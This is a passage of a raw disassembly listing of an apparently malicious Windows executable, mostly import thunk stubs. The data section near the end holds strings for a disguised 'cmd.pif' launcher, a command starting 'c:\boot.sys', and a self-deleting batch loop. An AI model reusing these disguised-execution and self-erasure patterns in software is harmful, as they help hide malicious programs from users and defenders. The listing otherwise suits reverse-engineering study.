sub_40C544	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C550	proc near		; CODE XREF: sub_40223C+13p
					; sub_402572+12Bp ...
		jmp	ds:dword_447398
sub_40C550	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C55C	proc near		; CODE XREF: sub_401334+8Fp
					; sub_401A36+C6p ...
		jmp	ds:dword_44739C
sub_40C55C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C568	proc near		; CODE XREF: sub_40223C+2Bp
					; sub_40223C+40p ...
		jmp	ds:dword_4473A0
sub_40C568	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C574	proc near		; CODE XREF: sub_401334+10p
					; sub_401806+7Bp ...
		jmp	ds:dword_4473A4
sub_40C574	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C580	proc near		; CODE XREF: sub_4039D6+37p
					; sub_404194+DFp ...
		jmp	ds:dword_4473A8
sub_40C580	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C58C	proc near		; CODE XREF: sub_405601+121p
					; sub_408BE4+18p
		jmp	ds:dword_4473AC
sub_40C58C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C598	proc near		; CODE XREF: sub_401806+34p
					; sub_401D14+E8p ...
		jmp	ds:dword_4473B0
sub_40C598	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5A4	proc near		; CODE XREF: sub_4015EB:loc_401660p
					; sub_401806+73p ...
		jmp	ds:dword_4473B4
sub_40C5A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5B0	proc near		; CODE XREF: sub_404194+97p
					; sub_40A766+F1p
		jmp	ds:dword_4473B8
sub_40C5B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5BC	proc near		; CODE XREF: sub_4039D6+71p
		jmp	ds:dword_4473BC
sub_40C5BC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5C8	proc near		; CODE XREF: sub_404194+166p
					; sub_409847+AF5p ...
		jmp	ds:dword_4473C0
sub_40C5C8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5D4	proc near		; CODE XREF: sub_403449+71p
					; sub_4036F2+55p ...
		jmp	ds:dword_4473C4
sub_40C5D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5E0	proc near		; CODE XREF: sub_4034D8+94p
					; .text:00403926p
		jmp	ds:dword_4473C8
sub_40C5E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5EC	proc near		; CODE XREF: sub_4034D8+74p
					; .text:004038FCp
		jmp	ds:dword_4473CC
sub_40C5EC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5F8	proc near		; CODE XREF: sub_402A4D+20Cp
		jmp	ds:dword_4473D0
sub_40C5F8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C604	proc near		; CODE XREF: sub_4062CD+461p
					; sub_40A766+2D9p
		jmp	ds:dword_4473D4
sub_40C604	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C610	proc near		; CODE XREF: sub_4062CD+4Dp
		jmp	ds:dword_4473D8
sub_40C610	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C61C	proc near		; CODE XREF: sub_402A4D+1CBp
		jmp	ds:dword_4473DC
sub_40C61C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C628	proc near		; CODE XREF: sub_402A4D+606p
		jmp	ds:dword_4473E0
sub_40C628	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C634	proc near		; CODE XREF: sub_4015EB+9p
					; sub_401806:loc_401831p ...
		jmp	ds:dword_4473E4
sub_40C634	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C640	proc near		; CODE XREF: sub_402A4D+B7p
		jmp	ds:dword_4473E8
sub_40C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C64C	proc near		; CODE XREF: sub_401A36+85p
					; sub_40518F+6Ap ...
		jmp	ds:dword_4473EC
sub_40C64C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C658	proc near		; CODE XREF: sub_40518F+B3p
					; sub_405601+85p ...
		jmp	ds:dword_4473F0
sub_40C658	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C664	proc near		; CODE XREF: sub_40A704+25p
		jmp	ds:dword_4473F4
sub_40C664	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C670	proc near		; CODE XREF: sub_40518F+25p
		jmp	ds:dword_4473F8
sub_40C670	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C67C	proc near		; CODE XREF: sub_401334+42p
					; sub_401A36+2Cp ...
		jmp	ds:dword_4473FC
sub_40C67C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C688	proc near		; CODE XREF: sub_401334+7Fp
					; sub_401A36+B2p
		jmp	ds:dword_447400
sub_40C688	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C694	proc near		; CODE XREF: sub_40107A+13p
		jmp	ds:dword_447404
sub_40C694	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6A0	proc near		; CODE XREF: sub_402A4D+50Dp
					; sub_4088D5+6Fp
		jmp	ds:dword_447408
sub_40C6A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6AC	proc near		; CODE XREF: sub_4052EF+5Ep
					; sub_408189+1D4p ...
		jmp	ds:dword_44740C
sub_40C6AC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6B8	proc near		; CODE XREF: sub_40847D+130p
		jmp	ds:dword_447410
sub_40C6B8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6C4	proc near		; CODE XREF: sub_40A766+528p
		jmp	ds:dword_447414
sub_40C6C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6D0	proc near		; CODE XREF: sub_4062CD+373p
					; sub_4062CD+3ADp
		jmp	ds:dword_447418
sub_40C6D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6DC	proc near		; CODE XREF: sub_4062CD+5A8p
					; sub_408BE4+1EAp
		jmp	ds:dword_44741C
sub_40C6DC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6E8	proc near		; CODE XREF: sub_4087C3+19p
		jmp	ds:dword_447420
sub_40C6E8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6F4	proc near		; CODE XREF: sub_4087F1+18p
		jmp	ds:dword_447424
sub_40C6F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C700	proc near		; CODE XREF: sub_402A4D+54Cp
		jmp	ds:dword_447428
sub_40C700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C70C	proc near		; CODE XREF: sub_4062CD+2D6p
					; sub_408BE4+1C3p
		jmp	ds:dword_44742C
sub_40C70C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C718	proc near		; CODE XREF: sub_40692E+38p
		jmp	ds:dword_447430
sub_40C718	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C724	proc near		; CODE XREF: sub_403AA3+198p
					; sub_404194+2DBp ...
		jmp	ds:dword_447434
sub_40C724	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C730	proc near		; CODE XREF: sub_403AA3+111p
					; sub_403C5F+2DFp ...
		jmp	ds:dword_447438
sub_40C730	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C73C	proc near		; CODE XREF: sub_401B9A+B0p
					; sub_405527+1Cp ...
		jmp	ds:dword_44743C
sub_40C73C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C748	proc near		; CODE XREF: sub_40692E+17p
		jmp	ds:dword_447440
sub_40C748	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C754	proc near		; CODE XREF: sub_40801C+38p
					; sub_40A766+816p
		jmp	ds:dword_447444
sub_40C754	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C760	proc near		; CODE XREF: sub_404194+1D8p
					; sub_4062CD+483p ...
		jmp	ds:dword_447448
sub_40C760	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C76C	proc near		; CODE XREF: sub_4062CD+3CDp
					; sub_406A9A+ABp ...
		jmp	ds:dword_447454
sub_40C76C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C778	proc near		; CODE XREF: sub_408E89+6Ap
					; sub_40B143+F7p ...
		jmp	ds:dword_447458
sub_40C778	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C784	proc near		; CODE XREF: sub_4062CD+353p
		jmp	ds:dword_44745C
sub_40C784	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C790	proc near		; CODE XREF: sub_408DEF+19p
					; sub_408DEF+8Dp
		jmp	ds:dword_447460
sub_40C790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C79C	proc near		; CODE XREF: sub_408DEF+49p
		jmp	ds:dword_447464
sub_40C79C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7A8	proc near		; CODE XREF: sub_408E89+9A7p
					; sub_40B01B+47p ...
		jmp	ds:dword_447468
sub_40C7A8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7B4	proc near		; CODE XREF: sub_406E2B+81p
		jmp	ds:dword_44746C
sub_40C7B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7C0	proc near		; CODE XREF: sub_40A766+47Ap
		jmp	ds:dword_447470
sub_40C7C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7CC	proc near		; CODE XREF: sub_40A766+4AAp
		jmp	ds:dword_447474
sub_40C7CC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7D8	proc near		; CODE XREF: sub_40A766+852p
		jmp	ds:dword_447478
sub_40C7D8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7E4	proc near		; CODE XREF: sub_40A766+4D8p
		jmp	ds:dword_44747C
sub_40C7E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7F0	proc near		; CODE XREF: sub_40B143+3B4p
					; sub_40B143+443p ...
		jmp	ds:dword_447480
sub_40C7F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7FC	proc near		; CODE XREF: sub_40A766+8A5p
		jmp	ds:dword_447484
sub_40C7FC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C808	proc near		; CODE XREF: sub_408E89+8AEp
					; sub_408E89+8E9p ...
		jmp	ds:dword_447488
sub_40C808	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C814	proc near		; CODE XREF: sub_408E89+8CAp
					; sub_408E89+90Bp ...
		jmp	ds:dword_44748C
sub_40C814	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C820	proc near		; CODE XREF: sub_40457Cp
		jmp	ds:dword_447490
sub_40C820	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C82C	proc near		; CODE XREF: sub_404586+1Ep
		jmp	ds:dword_447494
sub_40C82C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C838	proc near		; CODE XREF: sub_404527+27p
		jmp	ds:dword_447498
sub_40C838	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C844	proc near		; CODE XREF: sub_40A766+86Fp
		jmp	ds:dword_44749C
sub_40C844	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C850	proc near		; CODE XREF: sub_40A766+888p
		jmp	ds:dword_4474A0
sub_40C850	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C85C	proc near		; CODE XREF: sub_408E89+1EEp
					; sub_408E89+32Bp ...
		jmp	ds:dword_4474A4
sub_40C85C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C868	proc near		; CODE XREF: sub_404FEF+6Ep
					; sub_404FEF+E1p ...
		jmp	ds:dword_4474A8
sub_40C868	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C874	proc near		; CODE XREF: sub_40B143+220p
		jmp	ds:dword_4474AC
sub_40C874	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C880	proc near		; CODE XREF: sub_408E89+58p
					; sub_40B143+873p
		jmp	ds:dword_4474B0
sub_40C880	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C88C	proc near		; CODE XREF: sub_408E89+ACp
					; sub_408E89+126p ...
		jmp	ds:dword_4474B4
sub_40C88C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C898	proc near		; CODE XREF: sub_40B143+237p
					; sub_40B143+775p
		jmp	ds:dword_4474B8
sub_40C898	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8A4	proc near		; CODE XREF: sub_40B143+195p
		jmp	ds:dword_4474BC
sub_40C8A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8B0	proc near		; CODE XREF: sub_40B143+898p
		jmp	ds:dword_4474C0
sub_40C8B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8BC	proc near		; CODE XREF: sub_40B01B+112p
		jmp	ds:dword_4474C4
sub_40C8BC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8C8	proc near		; CODE XREF: sub_40A766+4BDp
		jmp	ds:dword_4474D0
sub_40C8C8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8D4	proc near		; CODE XREF: sub_40B143+2DBp
		jmp	ds:dword_4474D4
sub_40C8D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8E0	proc near		; CODE XREF: sub_40B143+2C2p
					; sub_40B143+2CEp
		jmp	ds:dword_4474D8
sub_40C8E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8EC	proc near		; CODE XREF: sub_40B143+2FAp
		jmp	ds:dword_4474DC
sub_40C8EC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8F8	proc near		; CODE XREF: sub_408E89+1CEp
					; sub_408E89+7D8p
		jmp	ds:dword_4474E0
sub_40C8F8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C904	proc near		; CODE XREF: sub_40518F+36p
		jmp	ds:dword_4474EC
sub_40C904	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C910	proc near		; CODE XREF: sub_40518F+9Bp
		jmp	ds:dword_4474F0
sub_40C910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C91C	proc near		; CODE XREF: sub_4015EB+2Ep
					; sub_404098+8p
		jmp	ds:dword_4474F4
sub_40C91C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C928	proc near		; CODE XREF: sub_4014BD+7Cp
					; sub_4015EB+68p ...
		jmp	ds:dword_4474F8
sub_40C928	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C934	proc near		; CODE XREF: sub_4014BD+2Ap
		jmp	ds:dword_4474FC
sub_40C934	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C940	proc near		; CODE XREF: sub_4014BD+6Ap
		jmp	ds:dword_447500
sub_40C940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C94C	proc near		; CODE XREF: sub_4015EB+5Ep
					; sub_4040AA+27p
		jmp	ds:dword_447504
sub_40C94C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C958	proc near		; CODE XREF: sub_4022CC+138p
		jmp	ds:dword_447508
sub_40C958	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C964	proc near		; CODE XREF: sub_4022CC+173p
		jmp	ds:dword_44750C
sub_40C964	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C970	proc near		; CODE XREF: sub_4022CC+159p
		jmp	ds:dword_447510
sub_40C970	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C97C	proc near		; CODE XREF: sub_404FEF+24p
		jmp	ds:dword_447514
sub_40C97C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C988	proc near		; CODE XREF: sub_404FEF+16Dp
		jmp	ds:dword_447518
sub_40C988	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C994	proc near		; CODE XREF: sub_404FEF+37p
		jmp	ds:dword_44751C
sub_40C994	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9A0	proc near		; CODE XREF: sub_403610+40p
		jmp	ds:dword_447528
sub_40C9A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9AC	proc near		; CODE XREF: sub_401219+49p
		jmp	ds:dword_44752C
sub_40C9AC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9B8	proc near		; CODE XREF: sub_406A9A+1D5p
					; sub_406E2B+6Cp ...
		jmp	ds:dword_447530
sub_40C9B8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9C4	proc near		; CODE XREF: sub_4053A1+E5p
					; sub_4053A1+14Cp
		jmp	ds:dword_447534
sub_40C9C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9D0	proc near		; CODE XREF: sub_409847+D97p
					; sub_409847+DD1p
		jmp	ds:dword_447538
sub_40C9D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9DC	proc near		; CODE XREF: sub_401219+74p
					; sub_409847+D1Dp ...
		jmp	ds:dword_44753C
sub_40C9DC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9E8	proc near		; CODE XREF: sub_4088D5+116p
		jmp	ds:dword_447540
sub_40C9E8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9F4	proc near		; CODE XREF: sub_40129C+1Ap
					; .text:0040144Cp ...
		jmp	ds:dword_447544
sub_40C9F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA00	proc near		; CODE XREF: sub_4062CD+71p
					; sub_4062CD+236p ...
		jmp	ds:dword_447548
sub_40CA00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA0C	proc near		; CODE XREF: sub_40109A+149p
		jmp	ds:dword_44754C
sub_40CA0C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA18	proc near		; CODE XREF: sub_40170F:loc_401732p
					; sub_403C5F+50p ...
		jmp	ds:dword_447550
sub_40CA18	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA24	proc near		; CODE XREF: sub_40109A+102p
					; sub_40109A+11Cp ...
		jmp	ds:dword_447554
sub_40CA24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA30	proc near		; CODE XREF: sub_4037EF+2Ep
					; .text:004038BBp ...
		jmp	ds:dword_447558
sub_40CA30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA3C	proc near		; CODE XREF: sub_409847+74p
					; sub_40A766+137p
		jmp	ds:dword_44755C
sub_40CA3C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA48	proc near		; CODE XREF: sub_409847+A25p
		jmp	ds:dword_447560
sub_40CA48	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA54	proc near		; CODE XREF: sub_403449+5Dp
					; sub_4034D8+53p ...
		jmp	ds:dword_447564
sub_40CA54	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA60	proc near		; CODE XREF: sub_40C434+17p
		jmp	ds:dword_447568
sub_40CA60	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA6C	proc near		; CODE XREF: sub_4062CD+4B8p
		jmp	ds:dword_44756C
sub_40CA6C	endp

; ---------------------------------------------------------------------------
		align 800h
_text		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 0002D428 ( 185384.)
; Section size in file		: 0002D428 ( 185384.)
; Offset to raw	data for section: 0000D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_bss		segment	para public 'DATA' use32
		assume cs:_bss
		;org 40D000h
dword_40D000	dd 72656B5Ch		; DATA XREF: sub_4083E5+53w
					; sub_4083E5+8Er ...
aNel32_dll	db 'nel32.dll',0
		align 10h
		db    0
aSCmd_pif	db '%s\cmd.pif',0
		db    0
		db 2 dup(0), 5Ch
aCmd_exeCStartC	db 'cmd.exe /C start c:\boot.sys',0
		align 10h
		dd 3F2h	dup(0)
dword_40E008	dd 0			; DATA XREF: sub_408E89+93Ew
					; sub_40B01B+DFr
dword_40E00C	dd 0			; DATA XREF: sub_401D14+37w
					; sub_401D14+47Dw ...
dword_40E010	dd 40h dup(0)		; DATA XREF: sub_408189+1B9o
					; sub_409847+6DAo ...
dword_40E110	dd 0			; DATA XREF: sub_40357C+57w
					; sub_40357C:loc_403606r
		dd 455h	dup(0)
dword_40F268	dd 0			; DATA XREF: sub_401D14+4Cw
					; sub_401D14+23Dw ...
dword_40F26C	dd 0			; DATA XREF: sub_401D14:loc_40211Aw
					; sub_401D14+412r ...
dword_40F270	dd 0			; DATA XREF: sub_406E2B+F72r
					; sub_406E2B+FF8r ...
byte_40F274	db 0			; DATA XREF: sub_401D14+14Fw
		align 10h
dword_40F280	dd 40h dup(0)		; DATA XREF: sub_401334+3Do
					; sub_40A766+3BCo ...
dword_40F380	dd 0			; DATA XREF: sub_4028A6+4Fr
					; sub_402A4D+E5w ...
		dd 0FFh	dup(0)
dword_40F780	dd 0			; DATA XREF: sub_40375C+50w
					; sub_40375C+89r
		dd 431h	dup(0)
dword_410848	dd 0			; DATA XREF: sub_408E89+6ADw
					; sub_408E89+816r ...
		align 10h
dword_410850	dd 0			; DATA XREF: .text:00401B68w
					; .text:loc_401B90r
		dd 457h	dup(0)
dword_4119B0	dd 0			; DATA XREF: sub_402A4D+5D7w
		dd 0FFh	dup(0)
dword_411DB0	dd 785C7325h		; DATA XREF: sub_4040FC+52w
					; sub_4040FC:loc_40418Ar
aSlfdlnt_bat	db 'slfdlnt.bat',0
		dd 0
aSCmd_pif_0	db '%s\cmd.pif',0
		align 10h
		dd 5C000000h, 2E646D63h, 657865h, 0
aLoop@delSNul@i	db ':loop',0Dh,0Ah
		db '@del %s>nul',0Dh,0Ah
		db '@if exist %s goto loop',0Dh,0Ah
		db '@del %s>nul',0Dh,0Ah,0
		align 4
		dd 73250000h, 20432F20h, 7325h,	3EEh dup(0)
dword_412DE0	dd 0			; DATA XREF: .text:00402532w
					; .text:loc_402568r
